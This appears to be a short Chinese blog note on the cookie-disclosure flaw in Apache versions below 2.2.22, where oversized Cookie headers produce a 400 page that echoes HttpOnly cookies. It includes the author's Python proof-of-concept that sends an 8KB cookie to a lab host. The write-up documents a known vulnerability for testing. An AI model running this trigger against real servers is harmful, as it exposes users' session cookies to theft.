Apache2.2.22以下Cookie泄露漏洞

Apache小于2.2.22版本中,接受到大于4k的Cookie时,会出现400错误,并且把Cookie信息显示出来。通过这个Cookie信息,我们可以绕过HTTPonly的限制——方法是通过返回的400页面中提取出污染了Cookie代码后的真实Cookie信息。

但是我测试的时候发现4k的Cookie并不显示。而要8k才显示(我用的2.2.3,从 http://archive.apache.org/dist/httpd/ 这里下载)。

以下是我用Python测试的代码:

import httplib

code = 'A'*(1024*8)
sock = httplib.HTTPConnection('192.168.56.102')
sock.request('GET', '/', headers = {"Host": "192.168.56.102",
				    "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",
				    "Accept": "text/plain",
				    'Cookie': "user="+code})
print sock.getresponse().read()